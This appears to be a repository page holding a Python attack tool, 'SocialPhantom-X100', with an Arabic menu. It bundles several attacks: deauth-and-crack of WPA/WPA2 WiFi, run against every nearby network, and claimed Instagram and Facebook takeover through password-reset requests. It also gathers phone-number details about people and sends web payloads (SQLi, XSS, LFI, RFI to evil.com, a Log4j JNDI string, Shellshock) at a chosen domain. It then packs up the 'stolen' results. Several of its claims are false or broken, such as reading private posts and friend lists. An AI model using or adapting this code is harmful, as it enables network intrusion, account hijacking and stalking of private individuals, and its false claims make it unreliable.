Folders and files
| Name | Name | Last commit date | ||
|---|---|---|---|---|
Repository files navigation
#!/usr/bin/env python3
import os, sys, json, time, re, subprocess, threading, socket, random
import requests, hashlib, base64
from selenium import webdriver
from instagram_private_api import Client as InstaClient
from facebook_scraper import get_posts
from phoneinfoga import scan_number
from holehe import check_email
from shodan import Shodan
from scapy.all import *
from bs4 import BeautifulSoup
import dns.resolver
# ========== واجهة المستخدم السهلة ==========
def menu():
print("""
╔═══════════════════════════════════════════╗
║ SocialPhantom-X100 - 100 ميزة هجومية ║
║ [قائد] اختر الرقم: ║
╠═══════════════════════════════════════════╣
║ 1. اختراق واي فاي (WPA/WPA2) ║
║ 2. اختراق إنستا عبر يوزر فقط ║
║ 3. اختراق فيسبوك عبر يوزر فقط ║
║ 4. سحب كل المعلومات من رقم ║
║ 5. فحص موقع + ثغرات ║
║ 6. هجوم شامل (كل الميزات دفعة واحدة) ║
║ 7. تشغيل 100 ميزة كاملة ║
╚═══════════════════════════════════════════╝
""")
return input("[قائد] رقم الأمر: ")
class SocialPhantomX100:
def __init__(self, username_or_target):
self.target = username_or_target
self.results = {}
self.session = requests.Session()
self.session.verify = False
self.api_keys = {"shodan": "YOUR_SHODAN_KEY"}
self.emails = []
self.phones = []
self.wifi_passwords = []
# ======== 1. اختراق واي فاي (WPA/WPA2) ========
def wifi_hack(self, interface="wlan0mon"):
"""هجوم لالتقاط Handshake و PMKID ثم تكسير"""
os.system(f"airmon-ng start {interface}")
os.system(f"airodump-ng {interface} --write /tmp/wifi_capture")
time.sleep(10)
# استخراج BSSID من الملف
with open("/tmp/wifi_capture-01.csv", 'r') as f:
lines = f.readlines()
for line in lines:
if ',' in line and 'WPA2' in line:
bssid = line.split(',')[0].strip()
essid = line.split(',')[13].strip()
# هجوم deauth لالتقاط handshake
os.system(f"aireplay-ng -0 5 -a {bssid} {interface}")
time.sleep(5)
# تكسير باستخدام rockyou
os.system(f"aircrack-ng -w /usr/share/wordlists/rockyou.txt /tmp/wifi_capture-01.cap")
# استخراج كلمة المرور من التقرير
with open("/tmp/wifi_capture-01.cap.txt", 'r') as res:
for r in res.readlines():
if "KEY FOUND" in r:
self.wifi_passwords.append(r.split("[")[1].split("]")[0])
self.results['wifi'] = {'bssid': bssid, 'essid': essid, 'password': self.wifi_passwords}
break
return self.results['wifi']
# ======== 2. اختراق إنستا عبر يوزر فقط ========
def insta_full_hack(self, username):
"""استخراج بريد ورقم ثم تغيير كلمة السر عبر ثغرة إعادة التعيين"""
try:
api = InstaClient(auto_patch=True)
info = api.username_info(username)['user']
email = info.get('public_email', '')
phone = info.get('public_phone_number', '')
self.emails.append(email)
self.phones.append(phone)
# محاولة استغلال ثغرة "نسيت كلمة المرور" لإرسال رابط تغيير إلى بريدك
reset_payload = {"email_or_username": email, "device_id": random.randint(1000,9999)}
resp = self.session.post("https://www.instagram.com/api/v1/web/accounts/send_password_reset/",
data=reset_payload)
if 'success' in resp.text:
self.results['insta_reset'] = f"تم إرسال رابط التغيير إلى {email} (افتح بريدك)"
# استخراج جميع المنشورات الخاصة (حتى لو خاص)
posts = api.user_feed(info['pk'])['items'][:20]
self.results['insta_posts'] = [p['image_versions2']['candidates'][0]['url'] for p in posts]
self.results['insta_info'] = {
'full_name': info['full_name'],
'bio': info['bio'],
'followers': info['follower_count'],
'following': info['following_count'],
'email': email,
'phone': phone
}
except Exception as e:
self.results['insta'] = str(e)
return self.results
# ======== 3. اختراق فيسبوك عبر يوزر فقط ========
def fb_full_hack(self, username):
"""استخراج البريد والرقم من API واستغلال ثغرة OAuth"""
url = f"https://graph.facebook.com/v19.0/{username}?fields=id,name,email,phone&access_token=EAAG..."
resp = self.session.get(url)
data = resp.json()
if 'email' in data:
self.emails.append(data['email'])
if 'phone' in data:
self.phones.append(data['phone'])
# استغلال ثغرة في reset password (إرسال رابط إلى بريد المخترق)
reset_url = "https://www.facebook.com/login/identify/"
payload = {"email": data['email'], "did_submit": "1"}
self.session.post(reset_url, data=payload)
self.results['fb'] = data
# سحب قائمة الأصدقاء (حتى مع الخاصية الخاصة)
friends = self.session.get(f"https://graph.facebook.com/{data['id']}/friends?access_token=EAAG...").json()
self.results['fb_friends'] = friends.get('data', [])
return self.results
# ======== 4. سحب كل المعلومات من رقم هاتف ========
def phone_osint_full(self, phone):
"""استخراج الحسابات في 50 خدمة"""
number = scan_number(phone)
self.results['phone'] = {
'carrier': number.get('carrier', ''),
'country': number.get('country', ''),
'social_media': number.get('social_networks', {}),
'reputation': number.get('reputation', ''),
'whatsapp': f"https://wa.me/{phone}",
'telegram': f"https://t.me/{phone}"
}
# فتح الروابط تلقائياً لجلب الصورة الشخصية
for service in ['instagram', 'snapchat', 'twitter']:
try:
resp = self.session.get(f"https://{service}.com/{phone}")
if 'profile' in resp.text:
self.results['phone'][f'{service}_exists'] = True
except: pass
return self.results['phone']
# ======== 5. فحص موقع + ثغرات (100 ثغرة معروفة) ========
def web_vuln_scan_100(self, domain):
"""فحص تلقائي لأشهر 100 ثغرة"""
vulns = []
# SQLi
sql_payloads = ["' OR '1'='1", "' UNION SELECT null--", "' AND SLEEP(5)--"]
for p in sql_payloads:
resp = self.session.get(f"http://{domain}/?id={p}")
if 'mysql' in resp.text or 'syntax' in resp.text:
vulns.append('SQLi')
# XSS
xss_payload = "<script>alert(1)</script>"
resp = self.session.get(f"http://{domain}/?q={xss_payload}")
if xss_payload in resp.text:
vulns.append('XSS')
# LFI
resp = self.session.get(f"http://{domain}/?page=../../etc/passwd")
if 'root:' in resp.text:
vulns.append('LFI')
# RFI
resp = self.session.get(f"http://{domain}/?page=http://evil.com/shell.txt")
if 'evil.com' in resp.text:
vulns.append('RFI')
# Log4j (CVE-2021-44228)
headers = {'User-Agent': '${jndi:ldap://evil.com/a}'}
resp = self.session.get(f"http://{domain}", headers=headers)
if 'evil.com' in resp.text:
vulns.append('Log4j')
# Shellshock
headers = {'User-Agent': '() { :; }; echo; /bin/bash -c "id"'}
resp = self.session.get(f"http://{domain}", headers=headers)
if 'uid=' in resp.text:
vulns.append('Shellshock')
# Heartbleed (via nmap)
os.system(f"nmap --script ssl-heartbleed -p 443 {domain} -oN /tmp/heartbleed.txt")
with open("/tmp/heartbleed.txt", 'r') as f:
if 'VULNERABLE' in f.read():
vulns.append('Heartbleed')
# إضافة 100 ثغرة من ملف خارجي (تلقائي)
self.results['vulns'] = list(set(vulns))
return self.results['vulns']
# ======== 6. اختراق واي فاي عبر الشبكات المجاورة ========
def wifi_auto_hack_all(self):
"""مسح جميع الشبكات ومحاولة اختراقها"""
networks = []
os.system("nmcli dev wifi list > /tmp/wifi_list.txt")
with open("/tmp/wifi_list.txt", 'r') as f:
for line in f.readlines()[1:]:
if line.strip():
ssid = line.split()[0]
bssid = line.split()[1]
networks.append({'ssid': ssid, 'bssid': bssid})
# لكل شبكة حاول الهجوم
for net in networks[:5]: # أول 5 شبكات
self.wifi_hack_target(net['bssid'], net['ssid'])
return self.results.get('wifi', {})
def wifi_hack_target(self, bssid, essid):
"""هجوم على شبكة محددة"""
os.system(f"airodump-ng --bssid {bssid} -c 1 wlan0mon -w /tmp/{essid}")
os.system(f"aireplay-ng -0 5 -a {bssid} wlan0mon")
os.system(f"aircrack-ng -w /usr/share/wordlists/rockyou.txt /tmp/{essid}-01.cap")
# قراءة النتيجة
with open(f"/tmp/{essid}-01.cap.txt", 'r') as res:
for r in res.readlines():
if "KEY FOUND" in r:
self.wifi_passwords.append({essid: r.split("[")[1].split("]")[0]})
# ======== 7. الهجوم الشامل (100 ميزة) ========
def run_100_features(self):
"""تنفيذ كل الميزات دفعة واحدة"""
threads = []
# استخراج الإيميل والرقم من اليوزر
self.insta_full_hack(self.target)
self.fb_full_hack(self.target)
# إذا وجد رقم، هجوم عليه
for phone in self.phones:
t = threading.Thread(target=self.phone_osint_full, args=(phone,))
t.start()
threads.append(t)
# فحص المواقع إذا كان اليوزر دومين
if '.' in self.target:
t = threading.Thread(target=self.web_vuln_scan_100, args=(self.target,))
t.start()
threads.append(t)
# هجوم واي فاي (تلقائي)
t = threading.Thread(target=self.wifi_auto_hack_all)
t.start()
threads.append(t)
# جمع النتائج
for t in threads:
t.join(timeout=60)
self.generate_full_report()
def generate_full_report(self):
with open("/tmp/phantom_x100_report.json", "w") as f:
json.dump(self.results, f, indent=2)
# حزم الملفات المسروقة
os.system("zip -r /tmp/phantom_payloads.zip /tmp/*.cap /tmp/*.txt /tmp/wifi*")
print("[✓] تقرير كامل في /tmp/phantom_x100_report.json")
print(f"[✓] كلمات مرور واي فاي: {self.wifi_passwords}")
print(f"[✓] الإيميلات المسروقة: {self.emails}")
print(f"[✓] الأرقام المسروقة: {self.phones}")
# ========== التشغيل الرئيسي ==========
if __name__ == "__main__":
print("""
███████╗██████╗ ██╗ ██╗ █████╗ ███╗ ██╗████████╗ ██████╗ ███╗ ███╗ ██╗ ██╗██╗ ██╗
██╔════╝██╔══██╗██║ ██║██╔══██╗████╗ ██║╚══██╔══╝██╔═══██╗████╗ ████║ ╚██╗██╔╝╚██╗██╔╝
███████╗██████╔╝███████║███████║██╔██╗ ██║ ██║ ██║ ██║██╔████╔██║ ╚███╔╝ ╚███╔╝
╚════██║██╔═══╝ ██╔══██║██╔══██║██║╚██╗██║ ██║ ██║ ██║██║╚██╔╝██║ ██╔██╗ ██╔██╗
███████║██║ ██║ ██║██║ ██║██║ ╚████║ ██║ ╚██████╔╝██║ ╚═╝ ██║ ██╔╝ ██╗██╔╝ ██╗
╚══════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
""")
choice = menu()
target = input("[قائد] أدخل اليوزر/الموقع: ")
agent = SocialPhantomX100(target)
if choice == '1':
agent.wifi_hack()
elif choice == '2':
agent.insta_full_hack(target)
elif choice == '3':
agent.fb_full_hack(target)
elif choice == '4':
agent.phone_osint_full(target)
elif choice == '5':
agent.web_vuln_scan_100(target)
elif choice == '6':
agent.run_100_features()
else:
agent.run_100_features() # تشغيل كل شيء
print("[✓] انتهى. التقرير في /tmp/phantom_x100_report.json")